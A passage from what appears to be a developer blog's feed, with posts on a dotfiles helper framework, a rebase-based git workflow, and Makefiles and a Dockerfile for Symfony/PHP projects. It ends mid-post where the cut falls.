_ssdf_echo_success "${_SSDF_PACKAGE_NAME} installed"

## ─────────────────────────────────────────────────────────────────────────────
## 🧹 Cleaning up local variables
## ─────────────────────────────────────────────────────────────────────────────

_ssdf_unset_envvars
</code></pre>

<h2 id="my-framework">My Framework</h2>

<blockquote>
  <p><strong>Note</strong>: Nothing you need to know or do in this section.
  But for the curious, here goes nothing!</p>
</blockquote>

<p>Initially the scripts would use directly commands and bash syntax,
but in 2025 with the need for cross platform compatibility I've decided to create
a set of helper functions: they can be found in the
<a href="https://github.com/gnugat/dotfiles/tree/main/00-_ssdf">ssdf</a> directory
(SSDF stands for Super Secret DotFiles).</p>

<p>Inside, we can find helpful documentation:</p>

<ul>
<li>how to use v3 compatible bash arrays,
<a href="https://apple.stackexchange.com/questions/238278/why-does-os-x-have-bash-v3-2-57">the forever default version on macOS</a></li>
<li>how to import (source) bash scripts using relative paths</li>
<li>how BSD (macOS) and GNU (Ubuntu) sed differs</li>
</ul>

<p>We can also find some cross platform scripts (<code>sed</code> and <code>grep &lt;x&gt; | sed</code>).</p>

<p>And we can find some functions which I use in the different scripts:</p>

<ul>
<li><code>_ssdf_prepend_path "${HOME}/bin" "${HOME}/.local/bin"</code>:
Prepends <code>bin</code> and <code>.local/bin</code> to PATH, if they exist and aren't already added</li>
<li><code>_ssdf_append_envvar ~/.config/shell/envvars.local.sh "ACKRC" "${HOME}/.config/ack/ackrc"</code>:
Appends to <code>~/.config/shell/envvars.local.sh</code> the <code>ACKRC</code> with <code>~/.config/ack/ackrc</code></li>
<li><code>_ssdf_unset_envvars</code>:
<a href="https://www.youtube.com/watch?v=yup8gIXxWDU&amp;t=185s">🗑️ Garbage Collectooooooooooooor~ 🎶🤘</a></li>
</ul>

<hr />

<p>Last but not least, the <code>quarry</code> (of Creation) folder is a repository of Blocks:
reusable templates that help bootstrap or extend packages.</p>

<p>Let's say I want to add settings for a new package (eg <a href="https://www.nerdfonts.com/">Nerd Fonts</a>),
then I'll run:</p>

<pre><code class="console">_SSDF_INPUT_PACKAGE_ID='31' \
    _SSDF_INPUT_PACKAGE_NAME='nerd-fonts' \
    _SSDF_INPUT_PACKAGE_EMOJI='🤓' \
    _SSDF_INPUT_PACKAGE_TITLE='Nerd Fonts' \
    _SSDF_INPUT_PACKAGE_SHORT_DESCRIPTION='Iconic font aggregator, collection, and patcher.' \
    bash ~/.dotfiles/00-_ssdf/quarry/0a01-new-package/1.0/install.sh
</code></pre>

<p>And badabim, badaboom, there's now a <code>31-nerd-fonts</code> folder with skeleton scripts
and bootstraped <code>README.md</code>.</p>

<p>Fun fact, <code>00-_ssdf/quarry/0a00-new-quarry-block</code> was used to bootstrap <code>00-_ssdf/quarry/0a01-new-package</code>.</p>

<p>This whole Quarry of Creation concept is a thing I've been toying with,
I'll probably write more about it in the future so stay tuned!</p>

<h2 id="conclusion">Conclusion</h2>

<p>To sum up, I use a git repository to backup my shell settings, so I can then
share them accross many devices.</p>

<p>And I also use some plain and simple bash script to restore and install them.</p>

<p>This might seem like a lot, it's been suiting me well for the past decade.
I hope this can inspire you to do something of your own!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[My Git Workflow]]></title>
            <link href="/2025/08/20/my-git-workflow.html"/>
            <updated>2025-08-20T00:00:00+01:00</updated>
            <id>/2025/08/20/my-git-workflow.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>:</p>
  
  <ol>
  <li><code>git checkout -b FEAT-4423-my-feature</code> from <code>main</code></li>
  <li><code>git rebase main</code> to update</li>
  <li><code>git merge --no-ff feature</code> back in <code>main</code></li>
  </ol>
</blockquote>

<p>Wield the crimson blade of version control,
where every commit carves your legacy into the eternal codex of time.</p>

<p>I wrote about <a href="/2014/12/10/keep-it-simple-and-git.html">my git workflow back in 2014</a>,
which really was just <a href="https://github.com/jbenet">@jbenet</a>'s
2013 <a href="https://gist.github.com/jbenet/ee6c9ac48068889b0912">simple git branching model</a>.</p>

<p>I very much like this workflow as I still use it, a decade after!</p>

<p>In this article, we'll explore some of the subtleties I've discovered along the way.</p>

<ul>
<li><a href="#branch-out-of-main">Branch out of main</a></li>
<li><a href="#rebase-to-update">Rebase to update</a></li>
<li><a href="#merge-back-in-main">Merge back in main</a></li>
</ul>

<h2 id="branch-out-of-main">Branch out of main</h2>

<p>Whenever a change (feature, bug fix, etc) needs to be made,
create a new branch from an up-to-date <code>main</code>:</p>

<pre><code class="console"># Update main
git checkout main
git pull --rebase

# Create new branch
git checkout -b FEAT-4423-my-feature
</code></pre>

<blockquote>
  <p><strong>Super Secret Tip 1</strong>: establish a direct relationship between code modifications and project tasks,
  by including the Ticket ID in your branch name. This will allow:</p>
  
  <ul>
  <li><strong>Automated Integration</strong>: like linking the branch, its commits, and its Pull Request
  to the ticket, enabling synchronisation between the ticket and the pull request status,
  as well as deployment</li>
  <li><strong>Traceability and Context</strong>: trace any code change back to its original purpose,
  which can be helpful when debugging some issues in the future</li>
  </ul>
</blockquote>

<h2 id="rebase-to-update">Rebase to update</h2>

<p>Update your branch often with the changes in <code>main</code>:</p>

<pre><code class="console"># Update remote main
git fetch origin

# Get latest main changes
git rebase origin/main

# Update remote feature branch
git push -fu origin FEAT-4423-my-feature
</code></pre>

<blockquote>
  <p><strong>Super Secret Tip 2</strong>: Enable git's "Reuse Recorded Resolution" (aka "rerere"),
  for automatic conflict resolutions: <code>git config --global rerere.enabled true</code>.</p>
  
  <p>This won't solve everything for you, but will save you time when the same
  conflict happens repeatedly.</p>
</blockquote>

<p>The rebase command will <strong>move</strong> your commits after the ones in the <code>main</code> branch:</p>

<ul>
<li>it'll be like starting from the latest changes in <code>main</code> as the foundation</li>
<li>then your commits are replayed one by one, allowing for simpler conflict resolution</li>
<li>finally this makes your branch history more linear and clear</li>
</ul>

<p>So for example, instead of having branches look like this:</p>

<pre><code>*   a1b2c3d - Merged in feature-x (pull request #123) (Dev A)
|\
| *   e4f5g6h - Merge main into feature-x (Dev A)
| |\
* | | b7c8d9e - Merged in hotfix-y (pull request #124) (Dev B)
|\| |
| * | f1a2b3c - hotfix for critical bug (Dev B)
| |/
|/|
* |   d4e5f6g - Merged in feature-z (pull request #122) (Dev C)
|\ \
| |/
|/|
* | h7i8j9k - refactor database layer (Dev C)
|/
*
</code></pre>

<p>With rebase it'd look like that:</p>

<pre><code>*   a1b2c3d - Merged in feature-x (pull request #123) (Dev A)
|\
| * e4f5g6h - implement feature x functionality (Dev A)
|/
*   b7c8d9e - Merged in hotfix-y (pull request #124) (Dev B)
|\
| * f1a2b3c - hotfix for critical bug (Dev B)
|/
*   d4e5f6g - Merged in feature-z (pull request #122) (Dev C)
|\
| * h7i8j9k - refactor database layer (Dev C)
|/
*
</code></pre>

<p>As you can see each feature is now a clean line of commits,
making it easy to see what each feature contributed.</p>

<p>The linear, readable history allows us to identify merge commits we might want to
revert, when we want to roll back a feature.</p>

<blockquote>
  <p><strong>Super Secret Tip 3</strong>: To display branches with <code>git lg</code>,
  set the following alias in your git config:</p>

<pre><code>[alias]
   # Logs history in a graph format with colours:
   # * abbreviated commit hash in red
   # * branch and tag names in cyan
   # * commit title in white
   # * author name in yellow
   # * author date in green (format: `Mon, 02 Jan 2006 15:04:05 +0000`)
   lg  = log --graph --pretty=tformat:'%Cred%h%Creset -%C(cyan)%d %Creset%s (%C(yellow)%an%Creset %Cgreen%aD%Creset)' --abbrev-commit
</code></pre>
</blockquote>

<h2 id="merge-back-in-main">Merge back in main</h2>

<p>Once tests pass, code quality checks are green, code review is approved,
and overall the changes in the branch are production ready,
you can finally merge it back to main:</p>

<pre><code class="console"># Update main
git checkout main
git pull --rebase origin/main


# Double check you had the latest changes
git checkout -
git rebase main
## ⚠️ If there are new changes from main, redo all checks (test, code quality, etc)

# Merge your branch in main
git checkout main
git merge --no-fast-forward FEAT-4423-my-feature
</code></pre>

<p>The <code>--no-fast-forward</code> (<code>--no-ff</code>) option will force git to create a merge commit,
which then makes it simple to undo a feature, using <code>git revert -m 1 &lt;merge-commit-hash&gt;</code>
(this will create a reverse diff of all the changes introduced by the merge).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[My Symfony Makefile]]></title>
            <link href="/2025/08/13/my-symfony-makefile.html"/>
            <updated>2025-08-13T00:00:00+01:00</updated>
            <id>/2025/08/13/my-symfony-makefile.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Note</strong>: Updated on 2026-02-23.</p>
</blockquote>

<p>For a Docker-based Symfony project, without <a href="https://www.gnu.org/software/make/">Make</a>,
typing commands like running tests can quickly become cumbersome:</p>

<pre><code class="console">docker compose exec app php vendor/bin/phpunit --testdox
</code></pre>

<p><strong>Make</strong> allows you to define a list of "rules" that provide:</p>

<ul>
<li>simple commands (eg <code>make phpunit</code>)</li>
<li>environment abstraction (eg <code>make console env=prod</code>)</li>
<li>built-in documentation (run <code>make</code> to list available rules)</li>
<li>combining multiple rules into a single one
(eg <code>make app-qa</code> is equivalent to <code>make composer-dump; make cs-check; make phpstan; make rector-check; make phpunit</code>)</li>
</ul>

<p>With Make, the previous example becomes:</p>

<pre><code class="console">make phpunit arg=--testdox
</code></pre>

<ul>
<li><a href="#makefile">Makefile</a>

<ul>
<li><a href="#usage">Usage</a></li>
<li><a href="#docker-compose-version">Docker Compose version</a></li>
<li><a href="#docker-version">Docker version</a></li>
<li><a href="#native-php-version">Native PHP version</a></li>
</ul></li>
</ul>

<h2 id="makefile">Makefile</h2>

<p>In this article, I'm sharing the Makefiles I use for my Symfony / PHP projects.</p>

<h3 id="usage">Usage</h3>

<p>Here are the rules I usually define:</p>

<pre><code class="console"># 🐳 Docker related rules
## Build the Docker images and start the services
make docker-init

## Check the services logs
make docker-compose arg='logs --tail=0 --follow'

## Stop the services
make docker-down

## Open interactive shell in container
make docker-bash

# 🐘 Project related rules
## Install composer dependencies
make composer-install

## Run the Symfony console
make console arg='cache:clear'

### To change the environment
make console env=prod arg='cache:clear'

# 🛂 Quality Assurance related rules
## Run composer-dump, phpstan, php-cs-fixer (check), rector (check) and phpunit
make app-qa

## To just run phpstan
make phpstan-analyze

## To just run php-cs-fixer check
make cs-check

## To just run phpunit
make phpunit

### To display technical specifications:
make phpunit arg='--testdox'

### To just run Integration tests:
make phpunit arg='./tests/Integration'

### To just run Unit tests:
make phpunit arg='./tests/Unit'

# Run php-cs-fixer fix (with Swiss Knife for namespaces)
make cs-fix

# Discover everything you can do
make
</code></pre>

<h3 id="docker-compose-version">Docker Compose version</h3>

<p>Here's the <code>Makefile</code> I use in Docker-based Symfony projects, which use a database
(with Docker Compose):</p>

<pre><code class="Makefile"># Parameters (optional)
# * `arg`: arbitrary arguments to pass to rules (default: none)
# * `env`: used to set `APP_ENV` (default: `test`)
arg ?=
env ?= test

# Docker containers
PHP_SERVICE = app

# Executables
COMPOSER = docker compose exec $(PHP_SERVICE) composer
CONSOLE = docker compose exec -e APP_ENV=$(env) $(PHP_SERVICE) php bin/console
PHPUNIT = docker compose exec $(PHP_SERVICE) php vendor/bin/phpunit
PHP_CS_FIXER = docker compose exec $(PHP_SERVICE) php vendor/bin/php-cs-fixer
PHPSTAN = docker compose exec $(PHP_SERVICE) php vendor/bin/phpstan --memory-limit=256M
RECTOR = docker compose exec $(PHP_SERVICE) php vendor/bin/rector
SWISS_KNIFE = docker compose exec $(PHP_SERVICE) php vendor/bin/swiss-knife

# Misc
.DEFAULT_GOAL = help
.PHONY: *

## —— 🎵 🐳 The Symfony Docker Makefile 🐳 🎵 ——————————————————————————————————
## Based on https://github.com/dunglas/symfony-docker
## (arg) denotes the possibility to pass "arg=" parameter to the target
##     this allows to add command and options, example: make composer arg='dump --optimize'
## (env) denotes the possibility to pass "env=" parameter to the target
##     this allows to set APP_ENV environment variable (default: test), example: make console env='prod' arg='cache:warmup'
help: ## Outputs this help screen
    @grep -E '(^[a-zA-Z0-9\./_-]+:.*?##.*$$)|(^##)' $(MAKEFILE_LIST) \
        | awk 'BEGIN {FS = ":.*?## "}{printf "\033[32m%-30s\033[0m %s\n", $$1, $$2}' \
        | sed -e 's/\[32m##/[33m/'

## —— Docker 🐳 ————————————————————————————————————————————————————————————————
docker: ## Runs Docker (arg, eg `arg='compose logs --tail=0 --follow'`)
    @docker $(arg)

docker-compose: ## Runs Docker Compose (arg, eg `arg='logs --tail=0 --follow'`)
    @docker compose $(arg)

docker-init: ## Builds the Docker images and starts the services in detached mode (no logs)
    @docker compose build --pull
    @docker compose up --detach

docker-down: ## Stops the services
    @docker compose down --remove-orphans

docker-bash: ## Opens a (bash) shell in the container
    @docker compose exec $(PHP_SERVICE) bash

## —— PHP 🐘 ———————————————————————————————————————————————————————————————————
composer: ## Runs Composer (arg, eg `arg='outdated'`)
    @$(COMPOSER) $(arg)

composer-install: ## Install dependencies (arg, eg `arg='--no-dev'`)
    @$(COMPOSER) install --optimize-autoloader $(arg)

composer-update: ## Updates dependencies (arg, eg `arg='--no-dev'`)
    @$(COMPOSER) update --optimize-autoloader $(arg)

composer-dump: ## Dumps autoloader (arg, eg `arg='--classmap-authoritative'`)
    @$(COMPOSER) dump-autoload --optimize --strict-psr --strict-ambiguous $(arg)

console: ## Runs bin/console (arg, eg `arg='cache:clear'`) (env, eg `env=prod`)
    @$(CONSOLE) $(arg)

cs-check: ## Checks CS with PHP-CS-Fixer (arg, eg `arg='./src'`)
    @$(PHP_CS_FIXER) check --verbose $(arg)

cs-fix: ## Fixes CS with Swiss Knife and PHP-CS-Fixer
    @$(SWISS_KNIFE) namespace-to-psr-4 src --namespace-root 'App\\'
    @$(SWISS_KNIFE) namespace-to-psr-4 tests --namespace-root 'App\\Tests\\'
    @$(PHP_CS_FIXER) fix --verbose $(arg)

phpstan: ## Runs phpstan (arg, eg `arg='clear-result-cache'`)
    @$(PHPSTAN) $(arg)

phpstan-analyze: ## Static Analysis with phpstan (arg, eg `arg='./src/'`)
    @$(PHPSTAN) analyze $(arg)

swiss-knife: ## Automated refactorings with Swiss Knife (arg, eg `arg='namespace-to-psr-4 src --namespace-root \'App\\\''`)
    @$(SWISS_KNIFE) $(arg)

phpunit: ## Runs the tests with PHPUnit (arg, eg `arg='./tests/Unit'`)
    @docker compose exec $(PHP_SERVICE) sh bin/sfcc-if-stale.sh test
    @$(PHPUNIT) $(arg)

rector-fix: ## Automated refactorings with Rector (arg, eg `arg='--clear-cache'`)
    @$(RECTOR) $(arg)

rector-check: ## Refactoring checks with Rector
    @$(RECTOR) process --dry-run

## —— App 📱 ———————————————————————————————————————————————————————————————————
app-init: ## First install / resetting (Docker build, up, etc)
    @echo ''
    @echo '  // Stopping docker services...'
    @$(MAKE) docker-down
    @echo ''
    @echo '  // Starting docker services...'
    @$(MAKE) docker-init
    @echo ''
    @echo '  // Installing Composer dependencies...'
    @$(MAKE) composer-install
    @echo ''
    @echo '  [OK] App initialized'

app-clear: ## Clears the Symfony cache (env, eg `env='prod'`)
    @$(CONSOLE) cache:clear

app-qa: ## Runs full QA pipeline (composer-dump, cs-check, phpstan, rector-check, phpunit)
    @echo ''
    @echo '  // Running composer dump...'
    @$(MAKE) composer-dump
    @echo ''
    @echo '  // Running PHP CS Fixer...'
    @$(MAKE) cs-check
    @echo ''
    @echo '  // Running PHPStan...'
    @$(MAKE) phpstan
    @echo ''
    @echo '  // Running Rector...'
    @$(MAKE) rector-check
    @echo ''
    @echo '  // Running PHPUnit...'
    @$(MAKE) phpunit
    @echo ''
    @echo '  [OK] QA done'
</code></pre>

<h4 id="bin%2Fsfcc-if-stale.sh">bin/sfcc-if-stale.sh</h4>

<p>The <code>phpunit</code> rule calls a script that clears the Symfony cache only when stale,
since unlike <code>dev</code>, the <code>test</code> environment doesn't auto-invalidate on source changes:</p>

<pre><code class="bash">#!/usr/bin/env bash
# File: /apps/qa/bin/sfcc-if-stale.sh
# ──────────────────────────────────────────────────────────────────────────────
# Symfony cache clear, but only if it's stale.
#
# Unlike dev, test and prod environments don't auto-invalidate cache when source
# files change. Changes to services, routes, Twig templates, Doctrine mappings,
# or environment variables all require a cache clear.
#
# This script detects stale cache by comparing modification times of src/,
# config/, and .env* files against the cache directory.
#
# Usage:
#
# ```shell
# bin/clear-cache-if-stale.sh
# bin/clear-cache-if-stale.sh prod
# ```
#
# Arguments:
#
# 1. `env`: Symfony environment, defaults to `test`
# ──────────────────────────────────────────────────────────────────────────────

_CLEAR_CACHE_ENV=${1:-test}
_CLEAR_CACHE_DIR="var/cache/${_CLEAR_CACHE_ENV}"

if [ ! -d "${_CLEAR_CACHE_DIR}" ]; then
    echo "  // Symfony cache directory does not exist, clearing..."
    php bin/console cache:clear --env="${_CLEAR_CACHE_ENV}"
    exit 0
fi

if [ -n "$(find src config .env* -newer "${_CLEAR_CACHE_DIR}" -print -quit 2&gt;/dev/null)" ]; then
    echo "  // Symfony cache stale, clearing cache..."
    php bin/console cache:clear --env="${_CLEAR_CACHE_ENV}"
    exit 0
fi

echo "  // Symfony cache is up to date"
</code></pre>

<h3 id="docker-version">Docker version</h3>

<p>If your project doesn't have a database (or services),
and therefore relies on Docker directly (without Docker Compose),
here's what it could look like:</p>

<pre><code class="Makefile"># Parameters (optional)
# * `arg`: arbitrary arguments to pass to rules (default: none)
# * `env`: used to set `APP_ENV` (default: `test`)
arg ?=
env ?= test

# Executables (local)
DOCKER_RUN = docker run -it -v "$(PWD)":/app --user $(shell id -u):$(shell id -g)

# Docker containers
PHP_SERVICE = app
PHP_CONT = $(DOCKER_RUN) $(PHP_SERVICE)

# Executables
COMPOSER = $(PHP_CONT) composer
CONSOLE = $(DOCKER_RUN) -e APP_ENV=$(env) $(PHP_SERVICE) php bin/console
PHPUNIT = $(PHP_CONT) php vendor/bin/phpunit
PHP_CS_FIXER = $(PHP_CONT) php vendor/bin/php-cs-fixer
PHPSTAN = $(PHP_CONT) php vendor/bin/phpstan --memory-limit=256M
RECTOR = $(PHP_CONT) php vendor/bin/rector
SWISS_KNIFE = $(PHP_CONT) php vendor/bin/swiss-knife

# Misc
.DEFAULT_GOAL = help
.PHONY: *

## —— 🎵 🐳 The Symfony Docker Makefile 🐳 🎵 ——————————————————————————————————
## Based on https://github.com/dunglas/symfony-docker
## (arg) denotes the possibility to pass "arg=" parameter to the target
##     this allows to add command and options, example: make composer arg='dump --optimize'
## (env) denotes the possibility to pass "env=" parameter to the target
##     this allows to set APP_ENV environment variable (default: test), example: make console env='prod' arg='cache:warmup'
help: ## Outputs this help screen
    @grep -E '(^[a-zA-Z0-9\./_-]+:.*?##.*$$)|(^##)' $(MAKEFILE_LIST) \
        | awk 'BEGIN {FS = ":.*?## "}{printf "\033[32m%-30s\033[0m %s\n", $$1, $$2}' \
        | sed -e 's/\[32m##/[33m/'

## —— Docker 🐳 ————————————————————————————————————————————————————————————————
docker-init: ## Builds the Docker image
    @docker build -t $(PHP_SERVICE) .

docker-bash: ## Opens a (bash) shell in the container
    @$(DOCKER_RUN) $(PHP_SERVICE) bash

## —— PHP 🐘 ———————————————————————————————————————————————————————————————————
composer: ## Runs Composer (arg, eg `arg='outdated'`)
    @$(COMPOSER) $(arg)

composer-install: ## Install dependencies (arg, eg `arg='--no-dev'`)
    @$(COMPOSER) install --optimize-autoloader $(arg)

composer-update: ## Updates dependencies (arg, eg `arg='--no-dev'`)
    @$(COMPOSER) update --optimize-autoloader $(arg)

composer-dump: ## Dumps autoloader (arg, eg `arg='--classmap-authoritative'`)
    @$(COMPOSER) dump-autoload --optimize --strict-psr --strict-ambiguous $(arg)

console: ## Runs bin/console (arg, eg `arg='cache:clear'`) (env, eg `env=prod`)
    @$(CONSOLE) $(arg)

cs-check: ## Checks CS with PHP-CS-Fixer (arg, eg `arg='./src'`)
    @$(PHP_CS_FIXER) check --verbose $(arg)

cs-fix: ## Fixes CS with Swiss Knife and PHP-CS-Fixer
    @$(SWISS_KNIFE) namespace-to-psr-4 src --namespace-root 'App\\'
    @$(SWISS_KNIFE) namespace-to-psr-4 tests --namespace-root 'App\\Tests\\'
    @$(PHP_CS_FIXER) fix --verbose $(arg)

phpstan: ## Runs phpstan (arg, eg `arg='clear-result-cache'`)
    @$(PHPSTAN) $(arg)

phpstan-analyze: ## Static Analysis with phpstan (arg, eg `arg='./src/'`)
    @$(PHPSTAN) analyze $(arg)

swiss-knife: ## Automated refactorings with Swiss Knife (arg, eg `arg='namespace-to-psr-4 src --namespace-root \'App\\\''`)
    @$(SWISS_KNIFE) $(arg)

phpunit: ## Runs the tests with PHPUnit (arg, eg `arg='./tests/Unit'`)
    @$(PHPUNIT) $(arg)

rector-fix: ## Automated refactorings with Rector (arg, eg `arg='--clear-cache'`)
    @$(RECTOR) $(arg)

rector-check: ## Refactoring checks with Rector
    @$(RECTOR) process --dry-run

## —— App 📱 ———————————————————————————————————————————————————————————————————
app-init: ## First install
    @echo ''
    @echo '  // Building docker image...'
    @$(MAKE) docker-init
    @echo ''
    @echo '  // Installing Composer dependencies...'
    @$(MAKE) composer-install
    @echo ''
    @echo '  [OK] App initialized'

app-qa: ## Runs full QA pipeline (composer-dump, cs-check, phpstan, rector-check, phpunit)
    @echo ''
    @echo '  // Running composer dump...'
    @$(MAKE) composer-dump
    @echo ''
    @echo '  // Running PHP CS Fixer...'
    @$(MAKE) cs-check
    @echo ''
    @echo '  // Running PHPStan...'
    @$(MAKE) phpstan
    @echo ''
    @echo '  // Running Rector...'
    @$(MAKE) rector-check
    @echo ''
    @echo '  // Running PHPUnit...'
    @$(MAKE) phpunit
    @echo ''
    @echo '  [OK] QA done'
</code></pre>

<h3 id="native-php-version">Native PHP version</h3>

<p>For pure PHP projects without Symfony,
that don't run in Docker Containers, the <code>Makefile</code> can look like this:</p>

<pre><code class="Makefile"># Parameters (optional)
# * `arg`: arbitrary arguments to pass to rules (default: none)
# * `env`: used to set `APP_ENV` (default: `test`)
arg ?=
env ?= test

# Executables
PHP = php
COMPOSER = composer
PHPUNIT = php vendor/bin/phpunit
PHP_CS_FIXER = php vendor/bin/php-cs-fixer
PHPSTAN = php vendor/bin/phpstan --memory-limit=256M
RECTOR = php vendor/bin/rector
SWISS_KNIFE = php vendor/bin/swiss-knife

# Misc
.DEFAULT_GOAL = help
.PHONY: *

## —— 🎵 🐘 The Pure PHP Makefile 🐘 🎵 ——————————————————————————————————————
## Based on https://github.com/dunglas/symfony-docker
## (arg) denotes the possibility to pass "arg=" parameter to the target
##     this allows to add command and options, example: make composer arg='dump --optimize'
## (env) denotes the possibility to pass "env=" parameter to the target
##     this allows to set APP_ENV environment variable (default: test), example: make php env='prod' arg='script.php'
help: ## Outputs this help screen
    @grep -E '(^[a-zA-Z0-9\./_-]+:.*?##.*$$)|(^##)' $(MAKEFILE_LIST) \
        | awk 'BEGIN {FS = ":.*?## "}{printf "\033[32m%-30s\033[0m %s\n", $$1, $$2}' \
        | sed -e 's/\[32m##/[33m/'

## —— PHP 🐘 ———————————————————————————————————————————————————————————————————
composer: ## Runs Composer (arg, eg `arg='outdated'`)
    @$(COMPOSER) $(arg)

composer-install: ## Install dependencies (arg, eg `arg='--no-dev'`)
    @$(COMPOSER) install --optimize-autoloader $(arg)

composer-update: ## Updates dependencies (arg, eg `arg='--no-dev'`)
    @$(COMPOSER) update --optimize-autoloader $(arg)

composer-dump: ## Dumps autoloader (arg, eg `arg='--classmap-authoritative'`)
    @$(COMPOSER) dump-autoload --optimize --strict-psr --strict-ambiguous $(arg)

php: ## Runs PHP (arg, eg `arg='script.php'`) (env, eg `env=prod`)
    @APP_ENV=$(env) $(PHP) $(arg)

cs-check: ## Checks CS with PHP-CS-Fixer (arg, eg `arg='./src'`)
    @$(PHP_CS_FIXER) check --verbose $(arg)

cs-fix: ## Fixes CS with Swiss Knife and PHP-CS-Fixer
    @$(SWISS_KNIFE) namespace-to-psr-4 src --namespace-root 'App\\'
    @$(SWISS_KNIFE) namespace-to-psr-4 tests --namespace-root 'App\\Tests\\'
    @$(PHP_CS_FIXER) fix --verbose $(arg)

phpstan: ## Runs phpstan (arg, eg `arg='clear-result-cache'`)
    @$(PHPSTAN) $(arg)

phpstan-analyze: ## Static Analysis with phpstan (arg, eg `arg='./src/'`)
    @$(PHPSTAN) analyze $(arg)

swiss-knife: ## Automated refactorings with Swiss Knife (arg, eg `arg='namespace-to-psr-4 src --namespace-root \'App\\\''`)
    @$(SWISS_KNIFE) $(arg)

phpunit: ## Runs the tests with PHPUnit (arg, eg `arg='./tests/Unit'`)
    @$(PHPUNIT) $(arg)

rector-fix: ## Automated refactorings with Rector (arg, eg `arg='--clear-cache'`)
    @$(RECTOR) $(arg)

rector-check: ## Refactoring checks with Rector
    @$(RECTOR) process --dry-run

## —— App 📱 ———————————————————————————————————————————————————————————————————
app-init: ## First install
    @echo ''
    @echo '  // Installing Composer dependencies...'
    @$(MAKE) composer-install
    @echo ''
    @echo '  [OK] App initialized'

app-qa: ## Runs full QA pipeline (composer-dump, cs-check, phpstan, rector-check, phpunit)
    @echo ''
    @echo '  // Running composer dump...'
    @$(MAKE) composer-dump
    @echo ''
    @echo '  // Running PHP CS Fixer...'
    @$(MAKE) cs-check
    @echo ''
    @echo '  // Running PHPStan...'
    @$(MAKE) phpstan
    @echo ''
    @echo '  // Running Rector...'
    @$(MAKE) rector-check
    @echo ''
    @echo '  // Running PHPUnit...'
    @$(MAKE) phpunit
    @echo ''
    @echo '  [OK] QA done'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>With this, you can streamline your development workflow across projects
and focus on writing code instead of remembering complex Docker commands.</p>

<blockquote>
  <p><strong>Note</strong>: I took massive inspiration from Kevin Dunglas'
  <a href="https://github.com/dunglas/symfony-docker">Symfony Docker Makefile</a>.</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[My Symfony Dockerfile]]></title>
            <link href="/2025/08/06/my-symfony-dockerfile.html"/>
            <updated>2025-08-06T00:00:00+01:00</updated>
            <id>/2025/08/06/my-symfony-dockerfile.html</id>
            <content type="html"><![CDATA[<p>Dockerize your PHP / Symfony application, to eliminate "works on MY machine".</p>

<p>I'm describing here a solution that ensures consistent development environment,
to run the project locally with just a few commands, without having to worry about:</p>

<ul>
<li>PHP version / extensions</li>
<li><p>database / search engine / messaging queue / services setup</p></li>
<li><p><a href="#dockerfile">Dockerfile</a></p></li>
<li><a href="#dockerignore">Dockerignore</a></li>
<li><a href="#compose">Compose</a></li>
<li><a href="#going-further">Going further</a>

<ul>
<li><a href="#sqlite">SQLite</a></li>
</ul></li>
</ul>

<h2 id="dockerfile">Dockerfile</h2>

<p>The following <code>Dockerfile</code> will build an image with:</p>

<ul>
<li><strong>Alpine Linux</strong>

<ul>
<li>Lightweight distribution (5-10MB compared to 100MB for Ubuntu)</li>
<li>uses <em>musl libc</em> instead of glibc, expect incompatibility issues with some binaries</li>
</ul></li>
<li><strong>PHP 8.3</strong>

<ul>
<li>this is needed for any PHP applications</li>
<li>change the version to your liking</li>
</ul></li>
<li><strong>bash</strong>

<ul>
<li>not required, but I like to use bash as my shell when I connect to the container</li>
</ul></li>
<li><strong>Composer</strong>

<ul>
<li>in production, you don't need the Composer binary in the container</li>
<li>in development, it's useful to have the same running environment for your app and Composer</li>
</ul></li>
<li><strong>PostgreSQL</strong>

<ul>
<li>my favourite database</li>
<li>skip it or switch it to MySQL, SQLite, etc</li>
</ul></li>
<li><strong>Symfony CLI</strong>

<ul>
<li>in production, you don't need the Symfony CLI binary in the container</li>
<li>in development, useful to start a web server</li>
</ul></li>
</ul>

<pre><code># syntax=docker/dockerfile:1

###
# PHP Dev Container
# Utility Tools: PHP, bash, Composer, PostgreSQL, Symfony CLI
###
FROM php:8.3-cli-alpine AS php_dev_container

# Composer environment variables:
# * default user is superuser (root), so allow them
# * put cache directory in a readable/writable location
# _Note_: When running `composer` in container, use `--no-cache` option
ENV COMPOSER_ALLOW_SUPERUSER=1 \
    COMPOSER_CACHE_DIR=/tmp/.composer/cache

# Install dependencies:
# * bash for shell access and scripting
# * postgresql for the database
# * zip for composer packages that use ZIP archives
# _Note (Alpine)_: `--no-cache` includes `--update` and keeps image size minimal
#
# Then install PHP extensions
#
# _Note (Hadolint)_: No version locking, since Alpine only ever provides one version
# hadolint ignore=DL3018
RUN apk add --update --no-cache \
        bash \
        libzip-dev \
        postgresql-dev \
        zip \
    &amp;&amp; docker-php-ext-install \
        bcmath \
        zip \
        pdo_pgsql

# Copy Symfony CLI binary from image
# _Note_: Avoid using Symfony CLI installer, use Docker image instead
# See: https://github.com/symfony-cli/symfony-cli/issues/195#issuecomment-1273269735
# _Note (Hadolint)_: False positive as `COPY` works with images too
# See: https://github.com/hadolint/hadolint/issues/197#issuecomment-1016595425
# hadolint ignore=DL3022
COPY --from=ghcr.io/symfony-cli/symfony-cli:v5 /usr/local/bin/symfony /usr/local/bin/symfony

# Copy Composer binary from composer image
# _Note (Hadolint)_: False positive as `COPY` works with images too
# See: https://github.com/hadolint/hadolint/issues/197#issuecomment-1016595425
# hadolint ignore=DL3022
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer

WORKDIR /app

# Caching `composer install`, as long as composer.{json,lock} don't change.
COPY composer.json composer.lock ./
RUN composer install \
    --no-cache \
    --no-interaction \
    --no-plugins \
    --no-scripts \
    --optimize-autoloader

# Copy the remaining application files (excluding those listed in .dockerignore)
COPY . .
</code></pre>

<p>You can check the validity of your Dockerfile syntax here: <a href="https://hadolint.github.io/hadolint/">hadolint</a></p>

<p>Here's how to build the image, and then run the container:</p>

<blockquote>
  <p><strong>Note</strong>: <code>-v "$(PWD)":/app</code> mounts current directory for live code changes.</p>
</blockquote>

<pre><code class="console">docker build -t app .

# Run with interactive shell
docker run --rm -it -v "$(PWD)":/app app bash

# Run composer
